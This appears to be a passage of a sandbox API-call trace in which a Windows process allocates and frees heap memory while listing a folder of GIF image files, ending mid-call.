[0069.231] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1051178 [0069.231] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.231] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6d4a00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac6d4a00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15301_.GIF", cAlternateFileName="")) returned 1 [0069.231] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.231] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.231] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.231] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.231] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.231] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f450 [0069.231] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1051280 [0069.232] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.232] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7332a00, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7332a00, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15302_.GIF", cAlternateFileName="")) returned 1 [0069.232] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.232] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.232] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.232] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.232] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.232] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f470 [0069.232] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1051388 [0069.232] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.232] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e24d100, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4e24d100, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21303_.GIF", cAlternateFileName="")) returned 1 [0069.232] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.232] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.232] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.232] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.232] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.232] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f490 [0069.232] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1051490 [0069.232] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.232] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0150b00, ftCreationTime.dwHighDateTime=0x1bd4f54, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf0150b00, ftLastWriteTime.dwHighDateTime=0x1bd4f54, nFileSizeHigh=0x0, nFileSizeLow=0x616, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21305_.GIF", cAlternateFileName="")) returned 1 [0069.233] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.233] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.233] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.233] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.233] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.233] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f4b0 [0069.233] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1051598 [0069.233] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.233] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf17ca00, ftCreationTime.dwHighDateTime=0x1bd4f53, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf17ca00, ftLastWriteTime.dwHighDateTime=0x1bd4f53, nFileSizeHigh=0x0, nFileSizeLow=0x328, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21307_.GIF", cAlternateFileName="")) returned 1 [0069.233] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.233] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.233] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.233] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.233] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.233] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f4d0 [0069.233] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10516a0 [0069.233] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.233] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56009300, ftCreationTime.dwHighDateTime=0x1bd4f53, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x56009300, ftLastWriteTime.dwHighDateTime=0x1bd4f53, nFileSizeHigh=0x0, nFileSizeLow=0xd1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21309_.GIF", cAlternateFileName="")) returned 1 [0069.233] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.234] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.234] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.234] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.234] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.234] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f4f0 [0069.234] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10517a8 [0069.234] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.234] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d745b00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3d745b00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x901, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21311_.GIF", cAlternateFileName="")) returned 1 [0069.234] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.234] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.234] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.234] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.234] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.234] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f510 [0069.234] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10518b0 [0069.234] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x33c0) returned 0x103ca28 [0069.234] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1055bc0) returned 1 [0069.235] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.235] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b120100, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3b120100, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x1a15, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21313_.GIF", cAlternateFileName="")) returned 1 [0069.235] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.235] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.235] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.235] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.235] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.235] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f530 [0069.235] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10519b8 [0069.235] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.235] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x364d4d00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x364d4d00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x148, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21315_.GIF", cAlternateFileName="")) returned 1 [0069.235] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.235] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.235] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.235] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.235] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.235] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f550 [0069.235] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1051ac0 [0069.235] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.235] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb568300, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbb568300, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x11e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21318_.GIF", cAlternateFileName="")) returned 1 [0069.236] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.236] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.236] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.236] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.236] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.236] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f570 [0069.236] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1051bc8 [0069.236] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.236] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7128600, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa7128600, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21319_.GIF", cAlternateFileName="")) returned 1 [0069.236] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.236] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.236] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.236] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.236] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.236] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f590 [0069.236] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1051cd0 [0069.236] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.236] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97933d00, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x97933d00, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x664, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21320_.GIF", cAlternateFileName="")) returned 1 [0069.236] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.237] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.237] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.237] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.237] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.237] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f5b0 [0069.237] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1051dd8 [0069.237] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.237] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b19a00, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85b19a00, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x9c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21321_.GIF", cAlternateFileName="")) returned 1 [0069.237] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.237] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.237] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.237] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.237] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.237] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f5d0 [0069.237] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1051ee0 [0069.237] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.237] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f5c3b00, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f5c3b00, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x4d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21322_.GIF", cAlternateFileName="")) returned 1 [0069.237] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.237] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.237] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.238] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.238] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.238] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f5f0 [0069.238] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1051fe8 [0069.238] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.238] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b9c600, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32b9c600, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x395, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21323_.GIF", cAlternateFileName="")) returned 1 [0069.238] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.238] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.238] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.238] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.238] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.238] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f610 [0069.238] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10520f0 [0069.238] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.238] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30576c00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x30576c00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x395, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21324_.GIF", cAlternateFileName="")) returned 1 [0069.238] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.238] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.238] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.239] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.239] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2df51200, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2df51200, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x5e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21325_.GIF", cAlternateFileName="")) returned 1 [0069.239] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dae8400, ftCreationTime.dwHighDateTime=0x1bd4f56, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1dae8400, ftLastWriteTime.dwHighDateTime=0x1bd4f56, nFileSizeHigh=0x0, nFileSizeLow=0x6f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21326_.GIF", cAlternateFileName="")) returned 1 [0069.239] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a618b00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2a618b00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x185, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21328_.GIF", cAlternateFileName="")) returned 1 [0069.239] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ff3100, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x27ff3100, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x1d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21330_.GIF", cAlternateFileName="")) returned 1 [0069.239] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x246baa00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x246baa00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x1f91, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21332_.GIF", cAlternateFileName="")) returned 1 [0069.239] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e75c900, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1e75c900, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x888, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21334_.GIF", cAlternateFileName="")) returned 1 [0069.239] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4465be00, ftCreationTime.dwHighDateTime=0x1bd4f48, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4465be00, ftLastWriteTime.dwHighDateTime=0x1bd4f48, nFileSizeHigh=0x0, nFileSizeLow=0xaeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21336_.GIF", cAlternateFileName="")) returned 1 [0069.239] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ae24200, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1ae24200, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21338_.GIF", cAlternateFileName="")) returned 1 [0069.239] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a537400, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbce14f00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7a537400, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21340_.GIF", cAlternateFileName="")) returned 1 [0069.239] FindNextFileW (in: 